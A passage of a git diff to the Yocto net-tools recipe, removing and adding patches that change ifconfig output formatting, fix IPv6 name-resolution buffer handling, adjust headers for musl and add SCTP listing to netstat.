strcat(flags,_("LOOPBACK,")); -+ if (ptr->flags & IFF_POINTOPOINT) -+ strcat(flags,_("POINTOPOINT,")); -+ if (ptr->flags & IFF_NOTRAILERS) -+ strcat(flags,_("NOTRAILERS,")); -+ if (ptr->flags & IFF_RUNNING) -+ strcat(flags,_("RUNNING,")); -+ if (ptr->flags & IFF_NOARP) -+ strcat(flags,_("NOARP,")); -+ if (ptr->flags & IFF_PROMISC) -+ strcat(flags,_("PROMISC,")); -+ if (ptr->flags & IFF_ALLMULTI) -+ strcat(flags,_("ALLMULTI,")); -+ if (ptr->flags & IFF_SLAVE) -+ strcat(flags,_("SLAVE,")); -+ if (ptr->flags & IFF_MASTER) -+ strcat(flags,_("MASTER,")); -+ if (ptr->flags & IFF_MULTICAST) -+ strcat(flags,_("MULTICAST,")); -+#ifdef HAVE_DYNAMIC -+ if (ptr->flags & IFF_DYNAMIC) -+ strcat(flags,_("DYNAMIC,")); -+#endif -+ /* DONT FORGET TO ADD THE FLAGS IN ife_print_short */ -+ if (flags[strlen(flags)-1] == ',') -+ flags[strlen(flags)-1] = '>'; -+ else -+ flags[strlen(flags)-1] = 0; -+ -+ -+ printf(_("%s: %s mtu %d metric %d"), -+ ptr->name, flags, ptr->mtu, ptr->metric ? ptr->metric : 1); -+#ifdef SIOCSKEEPALIVE -+ if (ptr->outfill || ptr->keepalive) -+ printf(_(" outfill %d keepalive %d"), -+ ptr->outfill, ptr->keepalive); - #endif - printf("\n"); - - #if HAVE_AFINET - if (ptr->has_ip) { -- printf(_(" %s addr:%s "), ap->name, -+ printf(_(" %s %s"), ap->name, - ap->sprint(&ptr->addr, 1)); -- if (ptr->flags & IFF_POINTOPOINT) { -- printf(_(" P-t-P:%s "), ap->sprint(&ptr->dstaddr, 1)); -- } -+ printf(_(" netmask %s"), ap->sprint(&ptr->netmask, 1)); - if (ptr->flags & IFF_BROADCAST) { -- printf(_(" Bcast:%s "), ap->sprint(&ptr->broadaddr, 1)); -+ printf(_(" broadcast %s"), ap->sprint(&ptr->broadaddr, 1)); - } -- printf(_(" Mask:%s\n"), ap->sprint(&ptr->netmask, 1)); -+ if (ptr->flags & IFF_POINTOPOINT) { -+ printf(_(" destination %s"), ap->sprint(&ptr->dstaddr, 1)); -+ } -+ printf("\n"); - } - #endif - -@@ -727,29 +764,30 @@ - addr6p[0], addr6p[1], addr6p[2], addr6p[3], - addr6p[4], addr6p[5], addr6p[6], addr6p[7]); - inet6_aftype.input(1, addr6, (struct sockaddr *) &sap); -- printf(_(" inet6 addr: %s/%d"), -- inet6_aftype.sprint((struct sockaddr *) &sap, 1), plen); -- printf(_(" Scope:")); -- switch (scope) { -- case 0: -- printf(_("Global")); -- break; -- case IPV6_ADDR_LINKLOCAL: -- printf(_("Link")); -- break; -- case IPV6_ADDR_SITELOCAL: -- printf(_("Site")); -- break; -- case IPV6_ADDR_COMPATv4: -- printf(_("Compat")); -- break; -- case IPV6_ADDR_LOOPBACK: -- printf(_("Host")); -- break; -- default: -- printf(_("Unknown")); -+ printf(_(" %s %s prefixlen %d"), -+ inet6_aftype.name, -+ inet6_aftype.sprint((struct sockaddr *) &sap, 1), -+ plen); -+ printf(_(" scopeid 0x%x"), scope); -+ -+ flags[0] = '<'; flags[1] = 0; -+ if (scope & IPV6_ADDR_COMPATv4) { -+ strcat(flags, _("compat,")); -+ scope -= IPV6_ADDR_COMPATv4; - } -- printf("\n"); -+ if (scope == 0) -+ strcat(flags, _("global,")); -+ if (scope & IPV6_ADDR_LINKLOCAL) -+ strcat(flags, _("link,")); -+ if (scope & IPV6_ADDR_SITELOCAL) -+ strcat(flags, _("site,")); -+ if (scope & IPV6_ADDR_LOOPBACK) -+ strcat(flags, _("host,")); -+ if (flags[strlen(flags)-1] == ',') -+ flags[strlen(flags)-1] = '>'; -+ else -+ flags[strlen(flags)-1] = 0; -+ printf("%s\n", flags); - } - } - fclose(f); -@@ -762,17 +800,17 @@ - - if (ipxtype != NULL) { - if (ptr->has_ipx_bb) -- printf(_(" IPX/Ethernet II addr:%s\n"), -- ipxtype->sprint(&ptr->ipxaddr_bb, 1)); -+ printf(_(" %s Ethernet-II %s\n"), -+ ipxtype->name, ipxtype->sprint(&ptr->ipxaddr_bb, 1)); - if (ptr->has_ipx_sn) -- printf(_(" IPX/Ethernet SNAP addr:%s\n"), -- ipxtype->sprint(&ptr->ipxaddr_sn, 1)); -+ printf(_(" %s Ethernet-SNAP %s\n"), -+ ipxtype->name, ipxtype->sprint(&ptr->ipxaddr_sn, 1)); - if (ptr->has_ipx_e2) -- printf(_(" IPX/Ethernet 802.2 addr:%s\n"), -- ipxtype->sprint(&ptr->ipxaddr_e2, 1)); -+ printf(_(" %s Ethernet802.2 %s\n"), -+ ipxtype->name, ipxtype->sprint(&ptr->ipxaddr_e2, 1)); - if (ptr->has_ipx_e3) -- printf(_(" IPX/Ethernet 802.3 addr:%s\n"), -- ipxtype->sprint(&ptr->ipxaddr_e3, 1)); -+ printf(_(" %s Ethernet802.3 %s\n"), -+ ipxtype->name, ipxtype->sprint(&ptr->ipxaddr_e3, 1)); - } - #endif - -@@ -781,7 +819,7 @@ - ddptype = get_afntype(AF_APPLETALK); - if (ddptype != NULL) { - if (ptr->has_ddp) -- printf(_(" EtherTalk Phase 2 addr:%s\n"), ddptype->sprint(&ptr->ddpaddr, 1)); -+ printf(_(" %s %s\n"), ddptype->name, ddptype->sprint(&ptr->ddpaddr, 1)); - } - #endif - -@@ -790,53 +828,30 @@ - ectype = get_afntype(AF_ECONET); - if (ectype != NULL) { - if (ptr->has_econet) -- printf(_(" econet addr:%s\n"), ectype->sprint(&ptr->ecaddr, 1)); -+ printf(_(" %s %s\n"), ectype->name, ectype->sprint(&ptr->ecaddr, 1)); - } - #endif - -- printf(" "); -- /* DONT FORGET TO ADD THE FLAGS IN ife_print_short, too */ -- if (ptr->flags == 0) -- printf(_("[NO FLAGS] ")); -- if (ptr->flags & IFF_UP) -- printf(_("UP ")); -- if (ptr->flags & IFF_BROADCAST) -- printf(_("BROADCAST ")); -- if (ptr->flags & IFF_DEBUG) -- printf(_("DEBUG ")); -- if (ptr->flags & IFF_LOOPBACK) -- printf(_("LOOPBACK ")); -- if (ptr->flags & IFF_POINTOPOINT) -- printf(_("POINTOPOINT ")); -- if (ptr->flags & IFF_NOTRAILERS) -- printf(_("NOTRAILERS ")); -- if (ptr->flags & IFF_RUNNING) -- printf(_("RUNNING ")); -- if (ptr->flags & IFF_NOARP) -- printf(_("NOARP ")); -- if (ptr->flags & IFF_PROMISC) -- printf(_("PROMISC ")); -- if (ptr->flags & IFF_ALLMULTI) -- printf(_("ALLMULTI ")); -- if (ptr->flags & IFF_SLAVE) -- printf(_("SLAVE ")); -- if (ptr->flags & IFF_MASTER) -- printf(_("MASTER ")); -- if (ptr->flags & IFF_MULTICAST) -- printf(_("MULTICAST ")); --#ifdef HAVE_DYNAMIC -- if (ptr->flags & IFF_DYNAMIC) -- printf(_("DYNAMIC ")); --#endif -- /* DONT FORGET TO ADD THE FLAGS IN ife_print_short */ -- printf(_(" MTU:%d Metric:%d"), -- ptr->mtu, ptr->metric ? ptr->metric : 1); --#ifdef SIOCSKEEPALIVE -- if (ptr->outfill || ptr->keepalive) -- printf(_(" Outfill:%d Keepalive:%d"), -- ptr->outfill, ptr->keepalive); -+ /* For some hardware types (eg Ash, ATM) we don't print the -+ hardware address if it's null. */ -+ if (hw->print != NULL && (! (hw_null_address(hw, ptr->hwaddr) && -+ hw->suppress_null_addr))) -+ printf(_(" %s %s"), hw->name, hw->print(ptr->hwaddr)); -+ else -+ printf(_(" %s"), hw->name); -+ if (ptr->tx_queue_len != -1) -+ printf(_(" txqueuelen %d"), ptr->tx_queue_len); -+ printf(" (%s)\n", hw->title); -+ -+#ifdef IFF_PORTSEL -+ if (ptr->flags & IFF_PORTSEL) { -+ printf(_(" media %s"), if_port_text[ptr->map.port][0]); -+ if (ptr->flags & IFF_AUTOMEDIA) -+ printf(_("autoselect")); -+ printf("\n"); -+ } - #endif -- printf("\n"); -+ - - /* If needed, display the interface statistics. */ - -@@ -845,19 +860,9 @@ - * not for the aliases, although strictly speaking they're shared - * by all addresses. - */ -- printf(" "); -- -- printf(_("RX packets:%llu errors:%lu dropped:%lu overruns:%lu frame:%lu\n"), -- ptr->stats.rx_packets, ptr->stats.rx_errors, -- ptr->stats.rx_dropped, ptr->stats.rx_fifo_errors, -- ptr->stats.rx_frame_errors); -- if (can_compress) -- printf(_(" compressed:%lu\n"), ptr->stats.rx_compressed); - - rx = ptr->stats.rx_bytes; -- tx = ptr->stats.tx_bytes; - short_rx = rx * 10; -- short_tx = tx * 10; - if (rx > 1125899906842624ull) { - short_rx /= 1125899906842624ull; - Rext = "PiB"; -@@ -874,6 +879,8 @@ - short_rx /= 1024; - Rext = "KiB"; - } -+ tx = ptr->stats.tx_bytes; -+ short_tx = tx * 10; - if (tx > 1125899906842624ull) { - short_tx /= 1125899906842624ull; - Text = "PiB"; -@@ -891,37 +898,50 @@ - Text = "KiB"; - } - -- printf(" "); -- printf(_("TX packets:%llu errors:%lu dropped:%lu overruns:%lu carrier:%lu\n"), -- ptr->stats.tx_packets, ptr->stats.tx_errors, -- ptr->stats.tx_dropped, ptr->stats.tx_fifo_errors, -- ptr->stats.tx_carrier_errors); -- printf(_(" collisions:%lu "), ptr->stats.collisions); -- if (can_compress) -- printf(_("compressed:%lu "), ptr->stats.tx_compressed); -- if (ptr->tx_queue_len != -1) -- printf(_("txqueuelen:%d "), ptr->tx_queue_len); -- printf("\n "); -- printf(_("RX bytes:%llu (%lu.%lu %s) TX bytes:%llu (%lu.%lu %s)\n"), -+ printf(" "); -+ printf(_("RX packets %llu bytes %llu (%lu.%lu %s)\n"), -+ ptr->stats.rx_packets, - rx, (unsigned long)(short_rx / 10), -- (unsigned long)(short_rx % 10), Rext, -- tx, (unsigned long)(short_tx / 10), -- (unsigned long)(short_tx % 10), Text); -+ (unsigned long)(short_rx % 10), Rext); -+ if (can_compress) { -+ printf(" "); -+ printf(_("RX compressed:%lu\n"), ptr->stats.rx_compressed); -+ } -+ printf(" "); -+ printf(_("RX errors %lu dropped %lu overruns %lu frame %lu\n"), -+ ptr->stats.rx_errors, ptr->stats.rx_dropped, -+ ptr->stats.rx_fifo_errors, ptr->stats.rx_frame_errors); -+ -+ -+ printf(" "); -+ printf(_("TX packets %llu bytes %llu (%lu.%lu %s)\n"), -+ ptr->stats.tx_packets, -+ tx, (unsigned long)(short_tx / 10), -+ (unsigned long)(short_tx % 10), Text); -+ if (can_compress) { -+ printf(" "); -+ printf(_("TX compressed %lu\n"), ptr->stats.tx_compressed); -+ } -+ printf(" "); -+ printf(_("TX errors %lu dropped %lu overruns %lu carrier %lu collisions %lu\n"), -+ ptr->stats.tx_errors, -+ ptr->stats.tx_dropped, ptr->stats.tx_fifo_errors, -+ ptr->stats.tx_carrier_errors, ptr->stats.collisions); - } - - if ((ptr->map.irq || ptr->map.mem_start || ptr->map.dma || - ptr->map.base_addr >= 0x100)) { -- printf(" "); -+ printf(" device "); - if (ptr->map.irq) -- printf(_("Interrupt:%d "), ptr->map.irq); -+ printf(_("interrupt %d "), ptr->map.irq); - if (ptr->map.base_addr >= 0x100) /* Only print devices using it for - I/O maps */ -- printf(_("Base address:0x%x "), ptr->map.base_addr); -+ printf(_("base 0x%x "), ptr->map.base_addr); - if (ptr->map.mem_start) { -- printf(_("Memory:%lx-%lx "), ptr->map.mem_start, ptr->map.mem_end); -+ printf(_("memory 0x%lx-%lx "), ptr->map.mem_start, ptr->map.mem_end); - } - if (ptr->map.dma) -- printf(_("DMA chan:%x "), ptr->map.dma); -+ printf(_(" dma 0x%x"), ptr->map.dma); - printf("\n"); - } - printf("\n"); diff --git a/meta/recipes-extended/net-tools/net-tools/0001-lib-inet6.c-INET6_rresolve-various-fixes.patch b/meta/recipes-extended/net-tools/net-tools/0001-lib-inet6.c-INET6_rresolve-various-fixes.patch deleted file mode 100644 index 8be45ccac9..0000000000 --- a/meta/recipes-extended/net-tools/net-tools/0001-lib-inet6.c-INET6_rresolve-various-fixes.patch +++ /dev/null @@ -1,87 +0,0 @@ -From 08abfcd923e9f37d1902db26771b1dc6731eb265 Mon Sep 17 00:00:00 2001 -From: Jiri Popelka <jpopelka@redhat.com> -Date: Fri, 27 Sep 2013 18:40:06 +0200 -Subject: [PATCH 1/1] lib/inet6.c:INET6_rresolve() - various fixes - -1) Fall-back to numeric address if getnameinfo fails. - Reverse lookup is not mandatory, therefore its fail - is not an error. Just return numeric address in that case. - This makes netstat/route show IPv6 address instead of - [UNKNOWN] in case of DNS problems. - -2) Pass length of 'name' buffer into function. - 'name' is a pointer and therefore sizeof(name) - returns size of pointer and not size of the buffer. - see http://stackoverflow.com/questions/14298710/c-pointers-and-arrays-sizeof-operator - The sizeof() usage was added with commit 604785adc, - so I checked all the other changes in that commit - and they seem to be OK. - -3) remove unused 's' variable - -Upstream-Status: Pending - -Signed-off-by: Shan Hai <shan.hai@windriver.com> -Signed-off-by: Jianchuan Wang <jianchuan.wang@windriver.com> ---- - lib/inet6.c | 21 ++++++++++----------- - 1 file changed, 10 insertions(+), 11 deletions(-) - -diff --git a/lib/inet6.c b/lib/inet6.c -index 9a484a0..2a9c459 100644 ---- a/lib/inet6.c -+++ b/lib/inet6.c -@@ -84,10 +84,9 @@ static int INET6_resolve(char *name, struct sockaddr_in6 *sin6) - #endif - - --static int INET6_rresolve(char *name, struct sockaddr_in6 *sin6, int numeric) -+static int INET6_rresolve(char *name, size_t namelen, -+ struct sockaddr_in6 *sin6, int numeric) - { -- int s; -- - /* Grmpf. -FvK */ - if (sin6->sin6_family != AF_INET6) { - #ifdef DEBUG -@@ -98,21 +97,20 @@ static int INET6_rresolve(char *name, struct sockaddr_in6 *sin6, int numeric) - return (-1); - } - if (numeric & 0x7FFF) { -- inet_ntop( AF_INET6, &sin6->sin6_addr, name, 80); -+ inet_ntop( AF_INET6, &sin6->sin6_addr, name, namelen); - return (0); - } - if (IN6_IS_ADDR_UNSPECIFIED(&sin6->sin6_addr)) { - if (numeric & 0x8000) -- strcpy(name, "default"); -+ safe_strncpy(name, "default", namelen); - else -- strcpy(name, "[::]"); -+ safe_strncpy(name, "[::]", namelen); - return (0); - } - -- if ((s = getnameinfo((struct sockaddr *) sin6, sizeof(struct sockaddr_in6), -- name, 255 /* !! */ , NULL, 0, 0))) { -- fputs("getnameinfo failed\n", stderr); -- return -1; -+ if (getnameinfo((struct sockaddr *) sin6, sizeof(struct sockaddr_in6), -+ name, namelen , NULL, 0, 0)) { -+ inet_ntop( AF_INET6, &sin6->sin6_addr, name, namelen); - } - return (0); - } -@@ -143,7 +141,8 @@ static char *INET6_sprint(struct sockaddr *sap, int numeric) - - if (sap->sa_family == 0xFFFF || sap->sa_family == 0) - return safe_strncpy(buff, _("[NONE SET]"), sizeof(buff)); -- if (INET6_rresolve(buff, (struct sockaddr_in6 *) sap, numeric) != 0) -+ if (INET6_rresolve(buff, sizeof(buff), -+ (struct sockaddr_in6 *) sap, numeric) != 0) - return safe_strncpy(buff, _("[UNKNOWN]"), sizeof(buff)); - return (fix_v4_address(buff, &((struct sockaddr_in6 *)sap)->sin6_addr)); - } --- -1.8.5.2.233.g932f7e4 - diff --git a/meta/recipes-extended/net-tools/net-tools/Add_missing_headers.patch b/meta/recipes-extended/net-tools/net-tools/Add_missing_headers.patch new file mode 100644 index 0000000000..f15d3654c7 --- /dev/null +++ b/meta/recipes-extended/net-tools/net-tools/Add_missing_headers.patch @@ -0,0 +1,15 @@ +Description: Add missing headers + +Upstream-Status: Pending +Signed-off-by: Martin Jansa <Martin.Jansa@gmail.com> + +--- a/netstat.c ++++ b/netstat.c +@@ -88,6 +88,7 @@ + #include <sys/stat.h> + #include <net/if.h> + #include <dirent.h> ++#include <sys/types.h> + + #include "net-support.h" + #include "pathnames.h" diff --git a/meta/recipes-extended/net-tools/net-tools/ifconfig-interface-0-del-IP-will-remove-the-aliased-.patch b/meta/recipes-extended/net-tools/net-tools/ifconfig-interface-0-del-IP-will-remove-the-aliased-.patch deleted file mode 100644 index 06f81420e9..0000000000 --- a/meta/recipes-extended/net-tools/net-tools/ifconfig-interface-0-del-IP-will-remove-the-aliased-.patch +++ /dev/null @@ -1,32 +0,0 @@ -From 81814dc2b14843009193efd307d814c26baa61f0 Mon Sep 17 00:00:00 2001 -From: Jiri Popelka <jpopelka@redhat.com> -Date: Wed, 7 Dec 2011 19:14:09 +0100 -Subject: [PATCH] ifconfig interface:0 del <IP> will remove the aliased IP on IA64 - -Upstream-Status: Backport - -commit 81814dc2b14843009193efd307d814c26baa61f0 from -git://git.code.sf.net/p/net-tools/code - ---- - ifconfig.c | 4 +++- - 1 file changed, 3 insertions(+), 1 deletion(-) - -diff --git a/ifconfig.c b/ifconfig.c -index bc405c6..dae8922 100644 ---- a/ifconfig.c -+++ b/ifconfig.c -@@ -890,7 +890,9 @@ int main(int argc, char **argv) - continue; - } - -- memcpy(&ip, &sin.sin_addr.s_addr, sizeof(unsigned long)); -+ /* Clear "ip" in case sizeof(unsigned long) > sizeof(sin.sin_addr.s_addr) */ -+ ip = 0; -+ memcpy(&ip, &sin.sin_addr.s_addr, sizeof(sin.sin_addr.s_addr)); - - if (get_nmbc_parent(ifr.ifr_name, &nm, &bc) < 0) { - fprintf(stderr, _("Interface %s not initialized\n"), --- -1.7.9.5 - diff --git a/meta/recipes-extended/net-tools/net-tools/musl-fixes.patch b/meta/recipes-extended/net-tools/net-tools/musl-fixes.patch deleted file mode 100644 index f694d594bf..0000000000 --- a/meta/recipes-extended/net-tools/net-tools/musl-fixes.patch +++ /dev/null @@ -1,100 +0,0 @@ -Adjust headers for non-glibc cases -especially exposed by musl - -Signed-off-by: Khem Raj <raj.khem@gmail.com> -Upstream-Status: Pending - -Index: net-tools-1.60/lib/inet6_gr.c -=================================================================== ---- net-tools-1.60.orig/lib/inet6_gr.c -+++ net-tools-1.60/lib/inet6_gr.c -@@ -23,7 +23,7 @@ - #include <string.h> - #include <stdio.h> - #include <unistd.h> --#ifndef __GLIBC__ -+#ifdef HAVE_IPV6_ROUTE_H - #include <netinet6/ipv6_route.h> /* glibc doesn't have this */ - #endif - #include "version.h" -Index: net-tools-1.60/lib/inet6_sr.c -=================================================================== ---- net-tools-1.60.orig/lib/inet6_sr.c -+++ net-tools-1.60/lib/inet6_sr.c -@@ -23,10 +23,10 @@ - #include <string.h> - #include <stdio.h> - #include <unistd.h> --#ifdef __GLIBC__ --#include <net/route.h> --#else -+#ifdef HAVE_IPV6_ROUTE_H - #include <netinet6/ipv6_route.h> /* glibc does not have this */ -+#else -+#include <net/route.h> - #endif - #include "version.h" - #include "net-support.h" -Index: net-tools-1.60/lib/inet_sr.c -=================================================================== ---- net-tools-1.60.orig/lib/inet_sr.c -+++ net-tools-1.60/lib/inet_sr.c -@@ -26,6 +26,7 @@ - #include <string.h> - #include <stdio.h> - #include <unistd.h> -+#include <asm-generic/param.h> - #include "version.h" - #include "net-support.h" - #include "pathnames.h" -Index: net-tools-1.60/lib/util-ank.c -=================================================================== ---- net-tools-1.60.orig/lib/util-ank.c -+++ net-tools-1.60/lib/util-ank.c -@@ -14,6 +14,7 @@ - * Rani Assaf <rani@magic.metawire.com> 980929: resolve addresses - */ - -+#include <limits.h> - #include <stdio.h> - #include <stdlib.h> - #include <unistd.h> -Index: net-tools-1.60/mii-tool.c -=================================================================== ---- net-tools-1.60.orig/mii-tool.c -+++ net-tools-1.60/mii-tool.c -@@ -47,10 +47,6 @@ static char Version[] = "$Id: mii-tool.c - #include <net/if.h> - #include <linux/sockios.h> - --#ifndef __GLIBC__ --#include <linux/if_arp.h> --#include <linux/if_ether.h> --#endif - #include "mii.h" - #include "version.h" - -Index: net-tools-1.60/netstat.c -=================================================================== ---- net-tools-1.60.orig/netstat.c -+++ net-tools-1.60/netstat.c -@@ -87,6 +87,7 @@ - #include <dirent.h> - #include <sys/stat.h> - #include <sys/types.h> -+#include <asm-generic/param.h> - - #include "net-support.h" - #include "pathnames.h" -Index: net-tools-1.60/slattach.c -=================================================================== ---- net-tools-1.60.orig/slattach.c -+++ net-tools-1.60/slattach.c -@@ -44,6 +44,7 @@ - #include <string.h> - #include <unistd.h> - #include <getopt.h> -+#include <termios.h> - #include <linux/if_slip.h> - - #if defined(__GLIBC__) diff --git a/meta/recipes-extended/net-tools/net-tools/net-tools-1.60-sctp1.patch b/meta/recipes-extended/net-tools/net-tools/net-tools-1.60-sctp1.patch deleted file mode 100644 index 78daf6c3ed..0000000000 --- a/meta/recipes-extended/net-tools/net-tools/net-tools-1.60-sctp1.patch +++ /dev/null @@ -1,635 +0,0 @@ -From 23276afe270009420cfbc52bffafdd25ac0817fe Mon Sep 17 00:00:00 2001 -From: Li Zhou <li.zhou@windriver.com> -Date: Thu, 14 Jan 2016 17:01:29 +0800 -Subject: [PATCH 1/3] net-tools: add SCTP support for netstat - -Upstream-Status: pending - -Signed-off-by: Li Zhou <li.zhou@windriver.com> ---- - netstat.c | 411 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++-- - statistics.c | 68 +++++++++- - 2 files changed, 465 insertions(+), 14 deletions(-) - -Index: net-tools-1.60/netstat.c -=================================================================== ---- net-tools-1.60.orig/netstat.c -+++ net-tools-1.60/netstat.c -@@ -58,6 +58,7 @@ - * - *990420 {1.38} Tuan Hoang removed a useless assignment from igmp_do_one() - *20010404 {1.39} Arnaldo Carvalho de Melo - use setlocale -+ *20050516 {1.40} Ivan Skytte Joergensen:Added SCTP support - * - * This program is free software; you can redistribute it - * and/or modify it under the terms of the GNU General -@@ -106,7 +107,7 @@ - #endif - - /* prototypes for statistics.c */ --void parsesnmp(int, int, int); -+void parsesnmp(int, int, int, int); - void inittab(void); - void parsesnmp6(int, int, int); - void inittab6(void); -@@ -119,6 +120,28 @@ typedef enum { - SS_DISCONNECTING /* in process of disconnecting */ - } socket_state; - -+#define SCTP_NSTATES 9 /* The number of states in array*/ -+ -+static const char *sctp_state[] = { -+ N_("EMPTY"), -+ N_("CLOSED"), -+ N_("COOKIE_WAIT"), -+ N_("COOKIE_ECHOED"), -+ N_("ESTABLISHED"), -+ N_("SHUTDOWN_PENDING"), -+ N_("SHUTDOWN_SENT"), -+ N_("SHUTDOWN_RECEIVED"), -+ N_("SHUTDOWN_ACK_SENT") -+}; -+ -+#define SCTP_NTYPES 3 /* The number of types in array */ -+ -+static const char *sctp_type[] = { -+ N_("udp"), -+ N_("udp-high-bw"), -+ N_("tcp") -+}; -+ - #define SO_ACCEPTCON (1<<16) /* performed a listen */ - #define SO_WAITDATA (1<<17) /* wait data to read */ - #define SO_NOSPACE (1<<18) /* no space to write */ -@@ -149,6 +172,7 @@ int flag_opt = 0; - int flag_raw = 0; - int flag_tcp = 0; - int flag_udp = 0; -+int flag_sctp= 0; - int flag_igmp= 0; - int flag_rom = 0; - int flag_exp = 1; -@@ -995,6 +1019,365 @@ static int udp_info(void) - udp_do_one); - } - -+static const char *sctp_socket_type_str(int type) { -+ if(type>=0 && type<SCTP_NTYPES) -+ return sctp_type[type]; -+ else { -+ static char type_str_buf[64]; -+ sprintf(type_str_buf,"UNKNOWN(%d)",type); -+ return type_str_buf; -+ } -+} -+ -+static const char *sctp_state_str(int state) -+{ -+ if(state>=0 && state<SCTP_NSTATES) -+ return sctp_state[state]; -+ else { -+ static char state_str_buf[64]; -+ sprintf(state_str_buf,"UNKNOWN(%d)",state); -+ return state_str_buf; -+ } -+} -+ -+static const char *sctp_socket_state_str(int state) -+{ -+ if(state>=0 && state<=10) -+ return tcp_state[state]; -+ else { -+ static char state_str_buf[64]; -+ sprintf(state_str_buf,"UNKNOWN(%d)",state); -+ return state_str_buf; -+ } -+} -+ -+static struct aftype *process_sctp_addr_str(const char *addr_str, struct sockaddr *sa) -+{ -+ if (strchr(addr_str,':')) { -+#if HAVE_AFINET6 -+ extern struct aftype inet6_aftype; -+ /* Demangle what the kernel gives us */ -+ struct in6_addr in6; -+ char addr6_str[INET6_ADDRSTRLEN]; -+ unsigned u0,u1,u2,u3,u4,u5,u6,u7; -+ sscanf(addr_str, "%04X:%04X:%04X:%04X:%04X:%04X:%04X:%04X", -+ &u0, &u1, &u2, &u3, &u4, &u5, &u6, &u7); -+ in6.s6_addr16[0] = htons(u0); -+ in6.s6_addr16[1] = htons(u1); -+ in6.s6_addr16[2] = htons(u2); -+ in6.s6_addr16[3] = htons(u3); -+ in6.s6_addr16[4] = htons(u4); -+ in6.s6_addr16[5] = htons(u5); -+ in6.s6_addr16[6] = htons(u6); -+ in6.s6_addr16[7] = htons(u7); -+ -+ inet_ntop(AF_INET6, &in6, addr6_str, sizeof(addr6_str)); -+ inet6_aftype.input(1, addr6_str, sa); -+ sa->sa_family = AF_INET6; -+#endif -+ } else { -+ ((struct sockaddr_in*)sa)->sin_addr.s_addr = inet_addr(addr_str); -+ sa->sa_family = AF_INET; -+ } -+ return get_afntype(sa->sa_family); -+} -+ -+static void sctp_eps_do_one(int lnr, char *line) -+{ -+ char buffer[1024]; -+ int type, state, port; -+ int uid; -+ unsigned long inode; -+ -+ struct aftype *ap; -+#if HAVE_AFINET6 -+ struct sockaddr_in6 localaddr; -+#else -+ struct sockaddr_in localaddr; -+#endif -+ const char *sty_str; -+ const char *sst_str; -+ const char *lport_str; -+ const char *uid_str; -+ const char *inode_str; -+ const char *pladdr_str; -+ char *laddrs_str; -+ -+ if(lnr == 0) { -+ /* ENDPT SOCK STY SST HBKT LPORT uid inode pladdr LADDRS*/ -+ return; -+ } -+ -+ strtok(line," \t\n"); /*skip ptr*/ -+ strtok(0," \t\n"); /*skip ptr*/ -+ sty_str = strtok(0," \t\n"); -+ sst_str = strtok(0," \t\n"); -+ strtok(0," \t\n"); /*skip hash bucket*/ -+ lport_str=strtok(0," \t\n"); -+ uid_str = strtok(0," \t\n"); -+ inode_str = strtok(0," \t\n"); -+ pladdr_str = strtok(0," \t\n"); -+ laddrs_str=strtok(0,"\t\n"); -+ -+ type = atoi(sty_str); -+ state = atoi(sst_str); -+ port = atoi(lport_str); -+ uid = atoi(uid_str); -+ inode = strtoul(inode_str,0,0); -+ -+ if(flag_sctp<=1) { -+ /* only print the primary address */ -+ char local_addr[64]; -+ char local_port[16]; -+ -+ ap = process_sctp_addr_str(pladdr_str, (struct sockaddr*)&localaddr); -+ if(ap) -+ safe_strncpy(local_addr, -+ ap->sprint((struct sockaddr *) &localaddr, flag_not), -+ sizeof(local_addr)); -+ else -+ sprintf(local_addr,_("unsupported address family %d"), ((struct sockaddr*)&localaddr)->sa_family); -+ -+ snprintf(local_port, sizeof(local_port), "%s", -+ get_sname(htons(port), "sctp", -+ flag_not & FLAG_NUM_PORT)); -+ -+ printf("sctp "); -+ sprintf(buffer,"%s:%s", local_addr, local_port); -+ printf("%-47s", buffer); -+ printf(" %-12s", sctp_socket_state_str(state)); -+ } else { -+ /*print all addresses*/ -+ const char *this_local_addr; -+ int first=1; -+ char local_port[16]; -+ snprintf(local_port, sizeof(local_port), "%s", -+ get_sname(htons(port), "sctp", -+ flag_not & FLAG_NUM_PORT)); -+ for(this_local_addr=strtok(laddrs_str," \t\n"); -+ this_local_addr; -+ this_local_addr=strtok(0," \t\n")) -+ { -+ char local_addr[64]; -+ ap = process_sctp_addr_str(this_local_addr, (struct sockaddr*)&localaddr); -+ if(ap) -+ safe_strncpy(local_addr, -+ ap->sprint((struct sockaddr *) &localaddr, flag_not), -+ sizeof(local_addr)); -+ else -+ sprintf(local_addr,_("unsupported address family %d"), ((struct sockaddr*)&localaddr)->sa_family); -+ -+ if(!first) printf("\n"); -+ if(first) -+ printf("sctp "); -+ else -+ printf(" "); -+ sprintf(buffer,"%s:%s", local_addr, local_port); -+ printf("%-47s", buffer); -+ printf(" %-12s", first?sctp_socket_state_str(state):""); -+ first = 0; -+ } -+ } -+ -+ finish_this_one(uid,inode,""); -+} -+ -+static void sctp_assoc_do_one(int lnr, char *line) -+{ -+ char buffer[1024]; -+ int type, state, state2, lport,rport; -+ int uid; -+ unsigned rxqueue,txqueue; -+ unsigned long inode; -+ -+ struct aftype *ap; -+#if HAVE_AFINET6 -+ struct sockaddr_in6 localaddr,remoteaddr; -+#else -+ struct sockaddr_in localaddr,remoteaddr; -+#endif -+ const char *sty_str; -+ const char *sst_str; -+ const char *st_str; -+ const char *txqueue_str; -+ const char *rxqueue_str; -+ const char *lport_str,*rport_str; -+ const char *uid_str; -+ const char *inode_str; -+ const char *pladdr_str; -+ char *laddrs_str; -+ const char *praddr_str; -+ char *raddrs_str; -+ -+ if(lnr == 0) { -+ /* ASSOC SOCK STY SST ST HBKT tx_queue rx_queue uid inode LPORT RPORT pladdr praddr LADDRS <-> RADDRS*/ -+ return; -+ } -+ -+ strtok(line," \t\n"); /*skip ptr*/ -+ strtok(0," \t\n"); /*skip ptr*/ -+ sty_str = strtok(0," \t\n"); -+ sst_str = strtok(0," \t\n"); -+ st_str = strtok(0," \t\n"); -+ strtok(0," \t\n"); /*skip hash bucket*/ -+ txqueue_str = strtok(0," \t\n"); -+ rxqueue_str = strtok(0," \t\n"); -+ uid_str = strtok(0," \t\n"); -+ inode_str = strtok(0," \t\n"); -+ lport_str=strtok(0," \t\n"); -+ rport_str=strtok(0," \t\n"); -+ pladdr_str = strtok(0," \t\n"); -+ praddr_str = strtok(0," \t\n"); -+ laddrs_str=strtok(0,"<->\t\n"); -+ raddrs_str=strtok(0,"<->\t\n"); -+ -+ type = atoi(sty_str); -+ state = atoi(sst_str); -+ state2 = atoi(st_str); -+ txqueue = atoi(txqueue_str); -+ rxqueue = atoi(rxqueue_str); -+ uid = atoi(uid_str); -+ inode = 